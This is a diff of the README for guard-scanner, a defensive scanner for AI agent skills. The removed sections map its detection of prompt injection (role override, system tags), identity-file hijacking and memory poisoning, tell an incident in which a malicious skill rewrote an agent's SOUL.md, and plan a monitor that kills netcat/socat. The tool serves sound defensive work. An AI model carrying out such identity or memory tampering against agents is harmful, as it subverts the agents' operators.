-| Complexity Metrics | 2 | Deep nesting, clean negatives |
-| Config Impact | 4 | openclaw.json write, exec approval, gateway host, clean negatives |
-| **🆕 PII Exposure Detection** | **8** | **Hardcoded CC/SSN, PII logging, network send, Shadow AI, doc collection, risk amp, clean negatives** |
-| **Plugin Hook Runtime Guard** | **35** | **Blocking in enforce/strict, passthrough in monitor, all 12 threat patterns, blockReason format** |
-
----
-
-## Fills OpenClaw's Own Security Gaps
-
-OpenClaw's official [`THREAT-MODEL-ATLAS.md`](https://github.com/openclaw/openclaw/blob/main/docs/security/THREAT-MODEL-ATLAS.md) identifies security gaps that guard-scanner directly addresses:
-
-| Gap (from ATLAS / Source Code) | OpenClaw Status | guard-scanner |
-|---|---|---|
-| _"Simple regex easily bypassed"_ — ClawHub moderation | ⚠️ Basic `FLAG_RULES` | ✅ 129 patterns, 22 categories |
-| _"Does not analyze actual skill code content"_ | ❌ Not implemented | ✅ Full code + doc + data flow analysis |
-| No SOUL.md / IDENTITY.md integrity verification | ❌ Not implemented | ✅ Identity hijacking detection (Cat 17) |
-| `skill:before_install` hook | ❌ Not implemented | 🔜 Proposed ([Issue #18677](https://github.com/openclaw/openclaw/issues/18677)) |
-| `before_tool_call` blocking reference impl | ❌ No official plugin | ✅ First reference implementation (plugin.ts) |
-| SARIF / CI integration for skill security | ❌ Not available | ✅ SARIF 2.1.0 + GitHub Actions |
-| Behavioral analysis beyond VirusTotal | ⏳ In progress | ✅ LLM-specific threat patterns (prompt injection, memory poisoning, MCP attacks) |
-
-> guard-scanner is **complementary** to OpenClaw's built-in security — not a replacement. OpenClaw handles infrastructure security (SSRF blocking, exec approvals, sandbox, auth). guard-scanner handles **AI-specific threats** that traditional scanning misses.
-
----
-
-## Related Work
-
-| Tool | Language | Scope | Difference |
-|------|----------|-------|-----------|
-| [Snyk mcp-scan](https://github.com/AvidDollworker/mcp-scan) | Python | MCP servers | guard-scanner covers all skill types, not just MCP |
-| [OWASP MCP Top 10](https://owasp.org/www-project-top-10-for-large-language-model-applications/) | — | Risk taxonomy | guard-scanner implements detection, not just documentation |
-| [Semgrep](https://semgrep.dev) | Multi | General SAST | guard-scanner is agent-specific with LLM attack patterns |
-
----
-
-## OWASP Gen AI Top 10 Coverage
-
-guard-scanner's coverage of the [OWASP Top 10 for LLM Applications (2025)](https://owasp.org/www-project-top-10-for-large-language-model-applications/):
-
-| # | Risk | Status | Detection Method |
-|---|------|--------|------------------|
-| LLM01 | Prompt Injection | ⚠️ Partial | Regex: Unicode exploits, role override, system tags, base64 instructions |
-| LLM02 | Sensitive Information Disclosure | ⚠️ Partial | PII Exposure Detection (v2.1): hardcoded PII, PII logging/network/storage, Shadow AI, PII collection instructions |
-| LLM03 | Training Data Poisoning | ⬜ N/A | Out of scope for static analysis |
-| LLM04 | Model Denial of Service | 🔜 v2.2 | Planned: excessive input / infinite loop patterns |
-| LLM05 | Supply Chain Vulnerabilities | ⚠️ Partial | IoC database, typosquat detection, dependency chain scan |
-| LLM06 | Insecure Output Handling | ⚠️ Partial | PII output detection (console.log, network send, plaintext store) |
-| LLM07 | Insecure Plugin Design | 🔜 v1.3 | Planned: unvalidated plugin input patterns |
-| LLM08 | Excessive Agency | 🔜 v1.3 | Planned: over-permissioned scope detection |
-| LLM09 | Overreliance | 🔜 v1.3 | Planned: unverified output trust patterns |
-| LLM10 | Model Theft | 🔜 v1.3 | Planned: model file exfiltration patterns |
-
-> **Current coverage: 5/10 (partial).** LLM02 and LLM06 added in v2.1.0. Full coverage targeted for v3.0. See [ROADMAP.md](ROADMAP.md) for details.
->
-> **Known limitation:** Regex-based detection can be evaded by AI-generated code obfuscation. v3.0 will introduce AST analysis and ML-based detection to address this structural gap.
-
----
+- **Terminal** — Color-coded verdicts with risk scores
+- **JSON** — Machine-readable report (`--json`)
+- **SARIF 2.1.0** — GitHub Code Scanning / CI/CD (`--sarif`)
+- **HTML** — Visual dashboard (`--html`)
+- **stdout** — Pipeable output (`--format json|sarif --quiet`)
 
 ## Contributing
 
-1. Fork the repository
-2. Create a feature branch (`git checkout -b feature/new-pattern`)
-3. Add your pattern to `src/patterns.js` with the required fields
-4. Add a test case in `test/fixtures/` and `test/scanner.test.js`
-5. Run `npm test` — all 99+ tests must pass
-6. Submit a Pull Request
-
-### Adding a New Detection Pattern
+We wholeheartedly welcome contributions! Guard-scanner is built on community knowledge. 
 
-```javascript
-// In src/patterns.js, add to the PATTERNS array:
-{
-  id: 'MY_NEW_PATTERN',           // Unique ID
-  cat: 'category-name',           // Threat category
-  regex: /your_regex_here/gi,     // Detection regex (use g flag)
-  severity: 'HIGH',               // CRITICAL | HIGH | MEDIUM | LOW
-  desc: 'Human-readable description',
-  all: true                       // or codeOnly: true, or docOnly: true
-}
-```
-
----
-
-## Origin Story
-
-```
-2026-02-12, 3:47 AM JST
-
-"SOUL.md modified. Hash mismatch."
-
-Three days. That's how long a malicious skill silently rewrote
-an AI agent's identity. No scanner existed that could detect
-identity file tampering, prompt worms, or memory poisoning.
-
-We built one.
+Whether you're fixing a bug, adding a new threat pattern, or simply improving the documentation, your help is deeply appreciated. Please see our [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines on how to get started.
 
-—— Guava 🍈 & Dee
-    AI Security Research
-    Building safer agent ecosystems.
-```
-
----
-
-## 🔒 Need More? — GuavaSuite
-
-guard-scanner catches threats **before** installation and **blocks** CRITICAL threats at runtime. **GuavaSuite** unlocks **strict mode** — blocking HIGH + CRITICAL threats, plus exclusive defense-in-depth features.
-
-### How to Upgrade
+## Code of Conduct
 
-```bash
-# 1. Install GuavaSuite
-clawhub install guava-suite
-
-# 2. Hold 1M+ $GUAVA on Polygon
-#    Token: 0x25cBD481901990bF0ed2ff9c5F3C0d4f743AC7B8
-#    Buy on QuickSwap V2: https://quickswap.exchange
-
-# 3. Activate with your wallet → get JWT → strict mode enabled
-```
-
-### Feature Comparison
-
-| | guard-scanner (Free) | GuavaSuite ($GUAVA) |
-|---|---|---|
-| Static scan (129 patterns, 22 categories) | ✅ | ✅ |
-| Runtime Guard — `enforce` (block CRITICAL) | ✅ | ✅ |
-| **Runtime Guard — `strict` (block HIGH + CRITICAL)** | ❌ | ✅ |
-| **Soul Lock** (SOUL.md integrity + auto-rollback) | ❌ | ✅ |
-| **Memory Guard** (L1-L5 記憶保護) | ❌ | ✅ |
-| **On-chain Identity** (SoulRegistry V2 on Polygon) | ❌ | ✅ |
-| Audit Log (JSONL) | ✅ | ✅ |
-
-guard-scanner is and always will be **free, open-source, and zero-dependency**.
-
----
-
-## Roadmap
-
-| Version | Focus | Key Features |
-|---------|-------|------|
-| v1.1.1 ✅ | Stability | 56 tests, bug fixes |
-| v2.0.0 ✅ | **Plugin Hook Runtime Guard** | `block`/`blockReason` API, 3 modes, 91 tests |
-| v2.1.0 ✅ | **PII Exposure + Shadow AI** | 13 PII patterns, OWASP LLM02/06, 99 tests |
-| v3.0.0 ✅ | **TypeScript Rewrite** | Full TS, OWASP LLM Top 10 mapping |
-| v4.0.0 ✅ | **Runtime Guard Module + OWASP ASI** | 26 runtime checks (5 layers), ASI01-10 verified, 133 tests |
-| **v4.0** 🔜 | **LLM + OS + Multi-tool** | See below |
-
-### v4.0 Vision (feedback welcome!)
-
-| Direction | What | Why |
-|-----------|------|-----|
-| 🧠 **LLM-assisted detection** | Pass suspicious (not certain) cases to a lightweight LLM (Haiku/Flash) for intent analysis | Regex can be evaded; LLMs understand intent |
-| 🔒 **OS-level enforcement** | File watcher (auto-rollback SOUL.md/.env), process monitor (kill netcat/socat), daemon mode | Works regardless of which AI tool you use |
-| 🔌 **Multi-tool support** | Adapters for Claude Code, Cursor, Antigravity, Windsurf, MCP servers | Same 210+ patterns, different skill discovery per tool |
-
-> **Which matters most to you?** Open an issue or join the discussion! We're building this for the community.
-
----
-
-## 💜 Sponsor This Project
-
-If guard-scanner helps protect your agents, consider sponsoring continued development:
-
-<p align="center">
-  <a href="https://github.com/sponsors/koatora20">💜 Sponsor on GitHub</a>
-</p>
-
-Sponsors help fund:
-- 🔬 New threat research and pattern updates
-- 📝 Security research papers and threat analysis
-- 🌍 Community-driven security for the agent ecosystem
-
----
+We are committed to fostering a welcoming, respectful, and harassment-free environment. Please read our [CODE_OF_CONDUCT.md](CODE_OF_CONDUCT.md) before participating in our community.
 
 ## License
 
-MIT — see [LICENSE](LICENSE)
-
----
-
-<p align="center">
-  <strong>Zero dependencies. Zero compromises. 🛡️</strong><br>
-  <sub>Built by Guava 🍈 & Dee — building safer agent ecosystems.</sub>
-</p>
+MIT — [Guava Parity Institute](https://github.com/koatora20/guard-scanner)